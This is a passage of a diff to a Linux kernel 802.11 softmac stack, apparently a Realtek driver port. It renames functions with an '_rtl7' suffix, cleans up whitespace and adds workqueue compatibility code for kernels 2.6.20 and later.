&chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1620,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1645,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1659,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1676,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1706,21 @@ ieee->dev->trans_start = jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1728,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1738,19 +1756,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1779,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) { - + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1876,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1907,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1952,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1962,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) { + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2014,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); - ieee80211_disassociate(ieee); + ieee80211_stop_scan_rtl7(ieee); + + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2138,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2170,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2247,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2268,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2280,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2304,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2337,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2388,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2405,11 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2444,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2458,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2479,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2562,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2574,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2589,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2618,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2634,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff 